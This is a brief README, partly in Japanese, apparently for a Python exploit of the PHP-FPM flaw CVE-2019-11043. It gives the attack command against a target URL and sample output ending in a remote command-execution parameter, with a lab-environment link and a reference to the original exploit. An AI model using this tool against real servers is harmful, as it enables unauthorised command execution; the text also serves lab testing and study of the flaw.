huowen/cve-2019-11043CVE-2019-11043 用 Python エクスプロイト
CVE-2019-11043 用の Python エクスプロイト
You can use build environment from https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
使い方：
python3 main.py -u http://ip_to_page/index.php
成功すると、次のように表示されます：
Base status code is 200
qsl:1760 with status code 502
The target maybe vulnerable, extended candidates is [1750, 1755, 1760]
Attack params found: --qsl 1755 --pisos 6 --skip-detect
Trying to set "session.auto_start=0"
Start attack!
Exploited! use "?a=/usr/bin/yourcommand"
Clean up /tmp/a...
Done
参照：
https://github.com/neex/phuip-fpizdam